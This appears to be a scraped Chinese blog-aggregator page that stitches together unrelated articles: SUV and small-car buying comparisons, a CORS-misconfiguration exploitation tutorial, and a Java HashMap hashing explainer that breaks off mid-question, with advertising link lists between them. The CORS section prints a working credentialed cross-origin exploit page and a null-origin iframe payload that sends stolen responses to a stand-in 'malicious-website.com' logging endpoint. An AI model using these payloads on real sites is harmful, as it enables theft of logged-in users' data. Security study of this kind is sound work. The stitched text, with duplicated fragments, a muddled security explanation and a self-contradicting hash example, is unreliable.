聽說大家都在糾結這個問題…RX5、博越、GS4、瑞虎7怎麼選?

手剎礙眼,眼中的敗筆。空間表現榮威RX5:前排和後排的頭部空間、縱向空間和橫向空間都表現出色,後排中央地板十分平整。吉利博越:空間是博越的一大賣點,雖然2670mm的軸距不算長,但實際上車內頭部空間和後排腿部空間很大,整體空間表現很棒,跑長途視野好,不易暈車。

對於吉利博越“最美自主SUV”的稱號,有幾款新車頗有微詞,外觀驚艷的互聯網汽車榮威RX5、新增愛信6AT版本的傳祺GS4和上市沒多久的奇瑞瑞虎7,它們躍躍欲試,挑戰博越的地位,試圖搶佔吉利在該細分市場的份額。

這四款車收到的關注度比較高,不少粉絲經常會讓來解答這幾款車該選哪一款,所以特地將這四款車進行一次橫評,幫助你解決這道難題。

前臉設計

榮威RX5:新一代榮威品牌的設計理念,叫“律動設計”, 融入東方的審美,整體表現出自信式優雅的特質。前臉的展翼格柵通過舒展的線條以及豐富的細節來展現車頭的層次感和力量感,目前上汽量產車裡最好看的一款,能自豪地跟外媒說:“設計出自中國”。

吉利博越:博越給的一印象是魁梧、 結實、 飽滿,家族式的漣漪中網讓人過目不忘,炯炯有神的車燈像是銳利的豹睛。

傳祺GS4:GS4、GS8設計同樣出自傳祺高層張帆之手,虎嘯式的前臉設計看起來清秀嚴肅,一副正直不阿的樣子。魚鰓式的大燈、獠牙式LED日間行車燈都有着很高的原創度。

奇瑞瑞虎7:迴旋鏢式大燈,無論車頭還是車尾都有較高的原創度和辨識度,整車採用較多橫向線條,形成多處落差,營造出較強的層次感,認為瑞虎7相比過往奇瑞其他車型的沉悶外觀設計已經有長足進步。

車身尺寸

榮威RX5:長/寬/高分比為4545/1855/1719mm、軸距2700mm

舒展的線條體現了SUV特有的舒適感和安全感,車身比例十分協調,實在找不到槽點。車身尺寸、輪轂造型都與兄弟車型銳騰相像。車身尺寸均大於另外三款競品車型。

吉利博越:長/寬/高分比為4519/1831/1694mm、軸距2670mm

後車門突然升高的車線、隱藏式的D柱和懸浮式車頂設計,都是博越外觀的亮點。

傳祺GS4:長/寬/高分比為4510/1852/1708mm、軸距2650mm

三條錯落有致的腰線設計師稱之為“追風逐月”,再通過C柱和D柱之間的黑色玻璃形成懸浮式車頂,營造出動感的車身造型。

奇瑞瑞虎7:長/寬/高分比為4505/1837/1670mm、軸距2670mm

乍眼一看,瑞虎7的側面還真與日產逍客有幾分相像,前大燈延伸一部分至引擎蓋上,頗有特色。

車尾設計

榮威RX5:貫穿式的尾箱飾條連接兩邊尾燈,拉伸了整個視覺空間,達到和諧的平衡視覺感。內切燕尾的過渡更是出彩,不愧為心目中的“最美自主SUV”。

吉利博越:上揚的窗線辨識度很高,讓車尾看起來緊湊、有力,風格自成一派。扁長的車燈被粗壯的鍍鉻飾條連通,雙邊單出的排氣布局增添運動感。

傳祺GS4:尾部線條簡潔,尾燈造型簡單,突出傳祺的大標誌,大氣耐看。

奇瑞瑞虎7:車尾和車頭相呼應,圓潤飽滿、中間有個小斷層突出了層次感,簡潔之餘不失美感。

內飾

榮威RX5:RX5的內飾有着同級別最大的軟包面積,採用大面積皮材質和出色的裝配工藝顯得非常上檔次,能看出來榮威這次是卯足了勁打造一款超強競爭力的SUV。而作為互聯網汽車,搭配上中控精緻的巨屏,合作享用阿里巴巴的數據庫,基於大數據分析能讓系統越來越好用,實用性高有別於其他國產中控的巨屏。

吉利博越:中控屏幕下面的坡面布置了功能按鍵,順手實用,旋鈕按鍵觸感很好,能給前排乘客好感,中控頂部造型層次豐富,設計師稱採用了西湖斷橋的設計靈感,再一次將中國古典元素融入到設計裏面。

傳祺GS4:內飾設計簡單,但有特色,物理按鍵的組合排列設計有戰鬥機艙的既視感,按鍵很大,駕駛員行駛過程中操作起來方便。內飾用料上多為硬質材料,精緻度低,在檔次感上稍弱。

奇瑞瑞虎7:儀錶盤富有個性,採用逆時針轉動的轉速表。黑棕的拼色內飾,相比許多車型的單色調要有趣得多。中控台簡潔,物理按鍵少,內飾一目瞭然。手剎礙眼,眼中的敗筆。

空間表現

榮威RX5:前排和後排的頭部空間、縱向空間和橫向空間都表現出色,後排中央地板十分平整。

吉利博越:空間是博越的一大賣點,雖然2670mm的軸距不算長,但實際上車內頭部空間和後排腿部空間很大,整體空間表現很棒,跑長途視野好,不易暈車。

傳祺GS4:整體乘坐空間寬敞,後排中間地板縱向長度足夠長,放下一般成年男子的腳綽綽有餘。

奇瑞瑞虎7:頭部空間比博越稍好,腿部空間富餘,後排中央地板平坦,不影響中間乘客舒適性,實在是居家出行的好選擇。

動力總成

榮威RX5:1.5T發動機:169ps(124kW)、250N·m + 7擋DCT雙離合變速箱、實測0-100km/h加速時間:9.88秒、實際綜合油耗:8L/100km

渦輪遲滯較明顯,雙離合變速箱調校偏向舒適平順,但換來的代價是犧牲了換擋速度。主觀加速感受不錯,10秒內的百公里提速時間傲視同價位的其它自主SUV。

吉利博越:1.8T發動機:184ps(135kW)、285N·m + 澳大利亞DSI 6AT、實測0-100km/h加速時間:10.3秒、實際綜合油耗:8L/100km

發動機參數漂亮,但實際爆發力不強,推背感不明顯,勝在平順性好,換擋的衝擊小,穩定地輸出動力,所以加速成績在自主SUV中相當不錯。急加速時變速箱反應稍有猶豫。

傳祺GS4:1.5T發動機:152ps(112kW)、235 N·m + 愛信6AT,未進行6AT版本的試駕測試,但相信搭配全新的6AT變速箱會有更好的駕乘體驗,一改過去雙離合低速時頓挫的表現。

奇瑞瑞虎7:2.0NA發動機 + 模擬7擋CVT變速箱、實際綜合油耗:9.1L/100km

動力不是瑞虎7的強項,油門反應不靈敏,換為運動模式後有所改善。動力輸出線性,符合CVT一貫的行駛質感,能輕鬆應對日常城市路況,但並不適合急性子的你。

底盤和操控

榮威RX5:前麥弗遜式獨立懸架 后多連桿獨立懸架

紮實、高品質的底盤感受,車輛過彎時外側減震器支撐表現好,通過彎路時側傾控制不錯,表現與銳騰相接近。但減震系統調校上,RX5比銳騰更注重舒適性。細微的溝坎不會對艙內乘員感受造成太大影響,而面對路面坑窪或減速帶時,減震器會盡可能將突兀的上下跳動過濾得更平緩。

吉利博越:前麥弗遜式獨立懸架 后多連桿獨立懸架

懸架雖軟,但剎車時保證了不錯的支撐性,姿態不算誇張,底盤紮實、整合度高,由於車身高度較高,轉彎和掉頭是傾斜較明顯,有點在船上的感覺,適宜家用代步。轉向輕盈,油門響應靈敏,容易上手。

傳祺GS4:前麥弗遜式獨立懸架 后多連桿獨立懸架

GS4偏向運動路線,自不然操控調校方面亦會偏向運動,方向盤轉向回饋力度適中,高速行駛穩健,但方向盤有點滑,配有換擋撥片拐彎平穩。

奇瑞瑞虎7:前麥弗遜式獨立懸架 后多連桿獨立懸架

底盤調校表現出極高的水準,底盤韌性十足,高速經過大顛簸時仍能保持較好的車身姿態,整體表現甚至比博越、GS8等車還要出色。

總結:看完這次橫評,對於15萬該選哪款國產精品SUV相信大家心裏有數。榮威RX5有着頗高的顏值和實用上檔次的智聯繫統巨屏,很看好這款誠意滿滿的產品。對雙離合心存芥蒂的,可以選擇搭載6AT的吉利博越或者傳祺GS4,而偏愛動力輸出平順的自然吸氣車的朋友不妨選擇居家實用的奇瑞瑞虎7。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

※別再煩惱如何寫文案,掌握八大原則!

17萬起買個性SUV,這款美系SUV是不是真的比奇駿更值得買?

但對於指南者來說,2706mm的軸距絕對是碾壓它的2636mm軸距。日產逍客官方指導價:13。98-18。98萬此次指南者真正對手應該是逍客,但是1。4T的發動機註定是和2。0L發動機相對比的,動力方向相差無幾,不過在軸距上逍客以着10mm的距離小勝指南者。

前言

對於美系車,我們一向都有着這樣的認識,隔音好而且舒適,但價格水平卻一點都不接地氣。但是最近作為硬派SUV代表品牌的JEEp公布了最新款的指南者售價,價格竟然和一向走低價路線的日系車一樣,那麼這款jeep指南者究竟何方神聖?是否值得買呢?

Jeep指南者車身尺寸為4415*1819*1625,身材上要比起奇駿、CR-V這些對手要小上一圈。定位是一款緊湊型SUV,預售價為17到24萬之間。

外觀上非常硬朗霸氣,整體和大切諾基相似,採用了家族式的7孔進氣格柵,並且在視覺上和大燈融為一體,拉伸了整車的視覺寬度。

整車下部有着一圈塑料裝飾,可以避免小蹭刮后的補漆。車尾造型相對於以往車型來說要柔性不少,兩燈之間依然是大大的“jeep”的標識。

內飾方面則是一貫的jeep風格,比較的中庸沒有太大的特點,使用的是黑色以及米色相搭配的風格,更為適合家用以及溫馨。配置上可以看到有着自動空調、8.4英寸中控屏幕、电子手剎、一鍵啟動以及全景天窗。

在動力方面,指南者將採用的是1.4T渦輪增壓發動機或者2.4L自然吸氣發動機,前者將搭配7速雙離合變速箱,後者將搭載9AT變速箱,並且為四驅車型。

競爭對手

日產奇駿

官方指導價:18.18-26.78萬

日產奇駿在緊湊型SUV中是一個重量級选手,實力不容小覷,油耗以及空間表現優秀,不過隔音水平以及內飾用料稍顯一般。但對於指南者來說,2706mm的軸距絕對是碾壓它的2636mm軸距。

日產逍客

官方指導價:13.98-18.98萬

此次指南者真正對手應該是逍客,但是1.4T的發動機註定是和2.0L發動機相對比的,動力方向相差無幾,不過在軸距上逍客以着10mm的距離小勝指南者。

本田繽智

官方指導價:12.48-18.48萬

本田繽智是一款小型SUV,和指南者相比其實不公平,但是高配的1.8L車型價格已經和指南者相重合了,所以依然可以說是競爭對手。因為等級的關係,繽智的2610mm軸距,明顯不如指南者,而且1.8L發動機在動力上是不如1.4T發動機的,不過本田該發動機卻是更省油。

所以總的來說,這次指南者可以說是一款入門緊湊型SUV,是和着日產逍客這種定位相似。比起本田繽智以及昂科拉這類小型SUV要大上一圈,但是卻小於日產奇駿、本田C-RV這類緊湊型SUV。這次指南者上市,因為低配搭配的是1.4T發動機,售價難以下降,所以相當於是用着高配和別人競爭。這款指南者非常適合追求個性的年輕人使用,唯一就是價格應該再下降一點。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

5-10萬的這些合資轎車男女老少開着都不丟面

3L 91馬力+5擋手動,1。5L 103馬力+5擋手動/4擋自動。這款來自鈴木的小車也很招男士的待見,因為鈴木的小排量發動機做的很不錯,不管是起步還是加速、超車,你踩多少油門,就會給你多少加速度,這種积極的動力響應讓人慾罷不能。

如果家裡只有一台車子,但是幾個人都有駕照,都會開車,那麼買台車子就不能僅僅只考慮一個人的感受了,而是需要考慮家裡所有人的考慮了。

有些車子雖然很不錯,但是可能不適合女人開,有些車子適合女人開但是看着太娘了,也不適合男士開,所以今天給大家推薦幾款男女老少都適合的車子,看看那款是你的菜。

長安福特-嘉年華

7.99-12.29萬

福特嘉年華的兩廂版和三廂的版的車身尺寸分別為3970*1722*1470mm、4320*1722*1470mm,軸距統一為2495mm。嘉年華屬於合資小型車。之所以說男女都適合開嘉年華,那是因為嘉年華屬於小巧的兩廂車,女士開着沒有絲毫的違和感,同時馬丁臉的前進氣格柵和炯炯有神的前大燈組使得嘉年華看起來多了幾分陽剛之氣,所以說就算你是一個威武的男人,這個看起來略顯霸氣的車型也很適合你。

嘉年華的動力系統為1.5L 110馬力+5擋手動/6擋雙離合,1.0T 125馬力+6擋雙離合。對於喜歡操控的消費者來說,嘉年華硬朗的底盤,精準的轉向不會讓你失望的。

最後,不管是男人還是女人,盡量買兩廂版的嘉年華吧。因為三廂版的嘉年華看起來不是那麼的協調。

長安鈴木-雨燕

5.98-8.28萬

雨燕的車身尺寸為3765*1690*1510mm,軸距為2390mm,雖然和嘉年華一樣也是定位為小型兩廂車,但是雨燕的“身板”確實夠較小的。雨燕看起來有點像“MINI”的感覺,造型比較可愛。但是可不能被他的外觀蒙蔽了,覺得它適合女士不適合男士。

雨燕確實很討女性消費者的喜歡,但是男士對他的愛一點也不少。雨燕的的動力系統為1.3L 91馬力+5擋手動,1.5L 103馬力+5擋手動/4擋自動。這款來自鈴木的小車也很招男士的待見,因為鈴木的小排量發動機做的很不錯,不管是起步還是加速、超車,你踩多少油門,就會給你多少加速度,這種积極的動力響應讓人慾罷不能。不過雨燕的缺點就是車型較老,配置太寒磣了,畢竟價格有限。

上汽大眾-pOLO

7.59-14.69萬

pOLO共有三種車身尺寸,1.4L和1.6L車型的車身尺寸為3970*1682*1462mm、軸距都為2470mm。比起時尚嘉年華和呆萌的雨燕,pOLO看起來則“正經”許多,外觀造型中規中矩,因為這是一台大眾車。

內飾也是大眾常見的風格,雖然中控的布局很實用,但是看久了也會看煩的。其實在這個級別,pOLO才是銷量王者。這個車子是正兒八經的男女老少通吃,畢竟這個造型很中庸的pOLO會符合更多人的審美。pOLO主銷的車型為1.4L和1.6L車型,尤其是1.4L車型,畢竟這款車型更經濟實惠,同時動力又可以滿足日常使用,關鍵是質量還很好。

總結:嘉年華的外觀更張揚,車子很靈活,操控也挺不錯的,不過油耗表現不是特別好。雨燕動力響應很好,價格實惠,油耗很低,但是配置一般。pOLO外觀更中庸,口碑也很好,省心耐用。總體來說,它們都挺適合家用的。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

※教你寫出一流的銷售文案?

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

CORS跨域漏洞學習

簡介

網站如果存CORS跨域漏洞就會有用戶敏感數據被竊取的風險。
跨域資源共享(CORS)是一種瀏覽器機制,可實現對位於給定域外部的資源的受控訪問。它擴展了同源策略(SOP)並增加了靈活性。但是,如果網站的CORS策略配置和實施不當,它也可能帶來基於跨域的攻擊。CORS並不是針對跨域攻擊(例如跨站點請求偽造(CSRF))的保護措施。

同源策略

這裏我們必須要了解一下同源策略:同源策略是一種限制性的跨域規範,它限制了網站與源域之外的資源進行交互的能力。起源於多年前的策略是針對潛在的惡意跨域交互(例如,一個網站從另一個網站竊取私人數據)而制定的。通常,它允許一個域向其他域發出請求,但不允許訪問響應。源由通信協議,域和端口號組成。
SOP是一個很好的策略,但是隨着Web應用的發展,網站由於自身業務的需求,需要實現一些跨域的功能,能夠讓不同域的頁面之間能夠相互訪問各自頁面的內容。

CORS跨域資源共享請求與響應

簡單請求

跨域資源共享(CORS)規範規定了在Web服務器和瀏覽器之間交換的標頭內容,該標頭內容限制了源域之外的域請求web資源。CORS規範標識了協議頭中Access-Control-Allow-Origin最重要的一組。當網站請求跨域資源時,服務器將返回此標頭,並由瀏覽器添加標頭Origin。
例如下面的來自站點 http://example.com 的網頁應用想要訪問 http://bar.com 的資源:
requests

1  GET /resources/public-data/ HTTP/1.1
2  Host: bar.com
3  User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
4  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5  Accept-Language: en-us,en;q=0.5
6  Accept-Encoding: gzip,deflate
7  Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
8  Connection: keep-alive
9  Referer: http://example.com/examples/access-control/simpleXSInvocation.html
10 Origin: http://example.com

response

11  HTTP/1.1 200 OK
12  Date: Mon, 01 Dec 2020 00:23:53 GMT
13  Server: Apache/2.0.61 
14  Access-Control-Allow-Origin: *
15  Keep-Alive: timeout=2, max=100
16  Connection: Keep-Alive
17  Transfer-Encoding: chunked
18  Content-Type: application/xml

第 1~9 行是請求首部。在第10行的請求頭 Origin 表明該請求來源於 http://example.com。
第 11~18 行是來自於 http://bar.com 的服務端響應。響應中攜帶了響應首部字段 Access-Control-Allow-Origin(第 14 行)。使用 Origin 和 Access-Control-Allow-Origin 就能完成最簡單的訪問控制。本例中,服務端返回的 Access-Control-Allow-Origin: * 表明,該資源可以被任意外域訪問。如果服務端僅允許來自 http://example.com 的訪問,該首部字段的內容如下:
Access-Control-Allow-Origin: http://example.com
如果跨域請求可以包含cookie的話,在服務器響應里應該有這一字段:
Access-Control-Allow-Credentials: true
這樣的話攻擊者就可以利用這個漏洞來竊取已經在這個網站上登錄了的用戶的信息(利用cookie)

漏洞利用

這裏以droabox靶場為例

這個接口會返回已登錄的用戶的信息數據,通過訪問該網頁的響應我們看到這裏可能存在CORS跨域資源共享漏洞

接下來我們就可以建立一個惡意的js代碼

<!-- cors.html -->
<!DOCTYPE html>
<html>
<head>
 <title>cors exp</title>
</head>
<body>
<script type="text/javascript">
function cors() {  
var xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function() {    
    if (this.status == 200) {    
    alert(this.responseText);     
    document.getElementById("demo").innerHTML = this.responseText;    
    }  
};  
xhttp.open("GET", "http://192.168.0.101/DoraBox/csrf/userinfo.php");  
xhttp.withCredentials = true;  
xhttp.send();
}
cors();
</script>
</body>
</html>

訪問這個頁面就可以獲取已登錄的用戶的信息

該惡意代碼首先定義一個函數cors,以get形式訪問目標網址,創建XMLHttpRequest對象為xhttp,通過ajax的onreadystatechange判斷請求狀態,如果請求已完成,且相應已就緒,則彈出返迴文本。

漏洞利用技巧

在之前我們了解了一些關於CORS跨域資源共享通信的一些字段含義,
CORS的漏洞主要看當我們發起的請求中帶有Origin頭部字段時,服務器的返回包帶有CORS的相關字段並且允許Origin的域訪問。
一般測試WEB漏洞都會用上BurpSuite,而BurpSuite可以實現幫助我們檢測這個漏洞。
首先是自動在HTTP請求包中加上Origin的頭部字段,打開BurpSuite,選擇Proxy模塊中的Options選項,找到Match and Replace這一欄,勾選Request header 將空替換為Origin:example.com的Enable框。
當我們進行測試時,看服務器響應頭字段里可以關注這幾個點:
最好利用的配置:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
可能存在可利用的配置:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
很好的條件但無法利用:
下面這組配置組合雖然看起來很完美但是CORS機制已經默認自動禁止了這種組合,算是CORS的最後一道防線
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
單一的情況
Access-Control-Allow-Origin:*
總結漏洞的原因:
1:CORS服務端的 Access-Control-Allow-Origin 設置為了 *,並且 Access-Control-Allow-Credentials 設置為false,這樣任何網站都可以獲取該服務端的任何數據了。
2:有一些網站的Access-Control-Allow-Origin他的設置並不是固定的,而是根據用戶跨域請求數據的Origin來定的。這時,不管Access-Control-Allow-Credentials 設置為了 true 還是 false。任何網站都可以發起請求,並讀取對這些請求的響應。意思就是任何一個網站都可以發送跨域請求來獲得CORS服務端上的數據。

其他可能利用漏洞的地方

解析Origin頭時出錯

一些支持從多個來源進行訪問的應用程序通過使用允許的來源白名單來實現。收到CORS請求后,會將提供的來源與白名單進行比較。如果來源出現在白名單中,那麼它會反映在Access-Control-Allow-Origin標題中,以便授予訪問權限。例如,web應用收到一個正常的請求:

GET /data HTTP/1.1
Host: bar.com
...
Origin: https://example.com

web應用根據其允許的來源列表檢查當前請求資源的來源,如果在列表中,則按以下方式反映該來源:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com

但在檢測來源是否存在於白名單時經常可能出現問題,一些網站可能會允許其所有的子域(包括尚未存在未來可能存在的子域)來進行訪問,或者允許其他網站的域以及其子域來訪問請求。這些請求一般都通過通配符或者正則表達式來完成,但是如果這其中出現錯誤可能就會導致給予其他未被授權的域訪問權限。例如:
例如,假設一個應用程序授予對以下列結尾的所有域的訪問權限:
examplecom
攻擊者可能可以通過註冊域來獲得訪問權限:
exeexample.com
或者,假設應用程序授予對所有以example.com開頭的域訪問權限,攻擊者就可以使用該域獲得訪問權限:
example.com.evil-user.net

利用相互受CORS信任的域來進行XSS

假如兩個互相受信任的源,如果其中一個網站存在XSS,攻擊者就可以利用XSS注入一些JavaScript代碼,利用這些代碼對信任其源的另一個網站進行敏感信息的獲取。
如果進行CORS請求時網站響應:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://vulnerable.com
Access-Control-Allow-Credentials: true

就可以利用XSS漏洞在vulnerable.com網站上使用下面的URL來通過檢索API密鑰:
https://vulnerable.com/?xss=<script>cors-stuff-here</script>

白名單中的null值

CORS協議的一個重要安全前提是跨域請求中的Origin頭不能被偽造,這個前提並不是總是成立。Origin頭最早被提出用於防禦CSRF攻擊,它的語法格式在RFC 6564中被定義。RFC 6564規定,如果請求來自隱私敏感上下文時,Origin頭的值應該為null,但是它卻沒有明確界定什麼是隱私敏感上下文。

CORS協議復用了Origin頭,但在CORS標準中同樣缺乏對跨域請求Origin中null明確的定義和限制。有些開發者在網站上配置信任 null,用於與本地file頁面共享數據,如下所示:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
在這種情況下,攻擊者可以使用各種技巧來生成跨域請求,該請求構造的Origin為null值。這將滿足白名單的要求,從而導致跨域訪問。例如,可以使用iframe以下格式的沙盒跨域請求來完成:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

這就意味着任何配置有Access-Control-Allow-Origin: nullAccess-Control-Allow-Credentials:true的網站等同於沒有瀏覽器SOP的保護,都可以被其他任意域以這種方式讀取內容。

CORS漏洞的自動化掃描

github上提供了一個關於掃描CORS配置漏洞的腳本
https://github.com/chenjj/CORScanner
CORScanner是一個python工具,旨在發現網站的CORS錯誤配置漏洞。它可以幫助網站管理員和滲透測試人員檢查他們針對的域/ URL是否具有不安全的CORS策略。

但是這個好像不能掃描特定接口的

預防CORS漏洞

CORS漏洞主要是由於配置錯誤而引起的。所以,預防漏洞變成了一個配置問題。下面介紹了一些針對CORS攻擊的有效防禦措施。

  1. 正確配置跨域請求
    如果Web資源包含敏感信息,則應在Access-Control-Allow-Origin標頭中正確指定來源。
  2. 只允許信任的網站
    看起來似乎很明顯,但是Access-Control-Allow-Origin中指定的來源只能是受信任的站點。特別是,使用通配符來表示允許的跨域請求的來源而不進行驗證很容易被利用,應該避免。
  3. 避免將null列入白名單
    避免使用標題Access-Control-Allow-Origin: null。來自內部文檔和沙盒請求的跨域資源調用可以指定null來源。應針對私有和公共服務器的可信來源正確定義CORS頭。
  4. 避免在內部網絡中使用通配符
    避免在內部網絡中使用通配符。當內部瀏覽器可以訪問不受信任的外部域時,僅靠信任網絡配置來保護內部資源是不夠的。
  5. CORS不能替代服務器端安全策略
    CORS定義了瀏覽器的行為,絕不能替代服務器端對敏感數據的保護-攻擊者可以直接從任何可信來源偽造請求。因此,除了正確配置的CORS之外,Web服務器還應繼續對敏感數據應用保護,例如身份驗證和會話管理。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※回頭車貨運收費標準

曹工說JDK源碼(3)–ConcurrentHashMap,Hash算法優化、位運算揭秘

hashcode,有點講究

什麼是好的hashcode,一般來說,一個hashcode,一般用int來表示,32位。

下面兩個hashcode,大家覺得怎麼樣?

0111 1111 1111 1111 1111 1111 1111 1111  ------A
1111 1111 1111 1111 1111 1111 1111 1111  ------B

只有第32位(從右到左)不一樣,好像也沒有所謂的好壞吧?

那,我們再想想,hashcode一般怎麼使用呢?在hashmap中,由數組+鏈表+紅黑樹組成,其中,數組乃重中之重,假設數組長度為2的n次方,(hashmap的數組,強制要求長度為2的n次方),這裏假設為8.

大家又知道,hashcode 對 8 取模,效果等同於 hashcode & (8 – 1)。

那麼,前面的A 和 (8 – 1)相與的結果如何呢?

0111 1111 1111 1111 1111 1111 1111 1111  ------A
0000 0000 0000 0000 0000 0000 0000 0111  ------ 8 -1
    相與
0000 0000 0000 0000 0000 0000 0000 0111  ------ 7

結果為7,也就是,會放進array[7]。

大家再看B的計算過程:

1111 1111 1111 1111 1111 1111 1111 1111  ------B
0000 0000 0000 0000 0000 0000 0000 0111  ------ 8 -1
    相與
0000 0000 0000 0000 0000 0000 0000 0111  ------ 7

雖然B的第32位為1,但是,奈何和我們相與的隊友,7,是個垃圾。

前面的高位,全是0。

ok,你懂了嗎,數組長度太小了,才8,導致前面有29位都是0;你可能覺得一般容量不可能這麼小,那假設容量為2的16次方,容量為65536,這下不是很小了吧,但即使如此,前面的16位也是0.

所以,問題明白了嗎,我們計算出來的hashcode,低位相同,高位不同;但是,因為和我們進行計算的隊友太過垃圾,導致我們出現了hash衝突。

ok,我們怎麼來解決這個問題呢?

我們能不能把高位也參与計算呢?自然,是可以的。

hashmap中如何優化

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

這裏,其實分了3個步驟:

  1. 計算hashcode,作為操作數1

    h = key.hashCode()
    
  2. 將第一步的hashcode,右移16位,作為操作數2

    h >>> 16
    
  3. 操作數1 和 操作數2 進行異或操作,得到最終的hashcode

還是拿前面的來算,

0111 1111 1111 1111 1111 1111 1111 1111  ------A
0000 0000 0000 0000 0111 1111 1111 1111   ----- A >>> 16
          異或(相同則為0,否則為1)
0111 1111 1111 1111 1000 0000 0000 0000    --- 2147450880  

這裏算出來的結果是 2147450880,再去對 7 進行與運算:

0111 1111 1111 1111 1000 0000 0000 0000    --- 2147450880  
0000 0000 0000 0000 0000 0000 0000 0111  ------ 8 -1
          與運算
0000 0000 0000 0000 0000 0000 0000 0000  ------ 0    

這裏的A,算出來,依然在array[0]。

再拿B來算一下:

1111 1111 1111 1111 1111 1111 1111 1111  ------ B
0000 0000 0000 0000 1111 1111 1111 1111   ----- B >>> 16
          異或(相同則為0,否則為1)
1111 1111 1111 1111 0000 0000 0000 0000    --- -65536
0000 0000 0000 0000 0000 0000 0000 0111  ------ 7   
         與運算
0000 0000 0000 0000 0000 0000 0000 0000  ------- 0    

最終算出來為0,所以,應該放在array[0]。

恩?算出來兩個還是衝突了,我只能說,我挑的数字真的牛逼,是不是該去買彩票啊。。

總的來說,大家可以多試幾組數,下邊提供下源代碼:

public class BinaryTest {
    public static void main(String[] args) {
        int a = 0b00001111111111111111111111111011;
        int b = 0b10001101111111111111110111111011;

        int i = tabAt(32, a);
        System.out.println("index for a:" + i);

        i = tabAt(32, b);
        System.out.println("index for b:" + i);

    }

    static final int tabAt(int  arraySize, int hash) {

        int h = hash;
        int finalHashCode = h ^ (h >>> 16);
        int i = finalHashCode & (arraySize - 1);

        return i;
    }
}

雖然說,我測試了幾個数字,還是有些衝突,但是,你把高16位弄進來參与計算,總比你不弄進來計算要好吧。

大家也可以看看hashmap中,hash方法的註釋:

/**
 * Computes key.hashCode() and spreads (XORs) higher bits of hash
 * to lower.  Because the table uses power-of-two masking, sets of
 * hashes that vary only in bits above the current mask will
 * always collide. (Among known examples are sets of Float keys
 * holding consecutive whole numbers in small tables.)  So we
 * apply a transform that spreads the impact of higher bits
 * downward. There is a tradeoff between speed, utility, and
 * quality of bit-spreading. Because many common sets of hashes
 * are already reasonably distributed (so don't benefit from
 * spreading), and because we use trees to handle large sets of
 * collisions in bins, we just XOR some shifted bits in the
 * cheapest possible way to reduce systematic lossage, as well as
 * to incorporate impact of the highest bits that would otherwise
 * never be used in index calculations because of table bounds.
 */

裏面提到了2點:

So we apply a transform that spreads the impact of higher bits downward.

所以,我們進行了一個轉換,把高位的作用利用起來。

we just XOR some shifted bits in the cheapest possible way to reduce systematic lossage, as well as

to incorporate impact of the highest bits that would otherwise never be used in index calculations because of table bounds.

我們僅僅異或了從高位移動下來的二進制位,用最經濟的方式,削減系統性能損失,同樣,因為數組大小的限制,導致高位在索引計算中一直用不到,我們通過這種轉換將其利用起來。

ConcurrentHashMap如何優化

在concurrentHashMap中,其主要是:

    final V putVal(K key, V value, boolean onlyIfAbsent) {
        if (key == null || value == null) throw new NullPointerException();
        int hash = spread(key.hashCode());

這裏主要是使用spread方法來計算hash值:

    static final int spread(int h) {
        return (h ^ (h >>> 16)) & HASH_BITS;
    }

大家如果要仔細觀察每一步的二進制,可以使用下面的demo:


    static final int spread(int h) {
        	// 1
            String s = Integer.toBinaryString(h);
            System.out.println("h:" + s);
    
        	// 2
            String lower16Bits = Integer.toBinaryString(h >>> 16);
            System.out.println("lower16Bits:" + lower16Bits);
    
        	// 3
            int temp = h ^ (h >>> 16);
            System.out.println("h ^ (h >>> 16):" + Integer.toBinaryString(temp));
    
        	// 4
            int result = (temp) & HASH_BITS;
            System.out.println("final:" + Integer.toBinaryString(result));
    
    
            return result;
        }

這裏和HashMap相比,多了點東西,也就是多出來了:

& HASH_BITS;

這個有什麼用處呢?

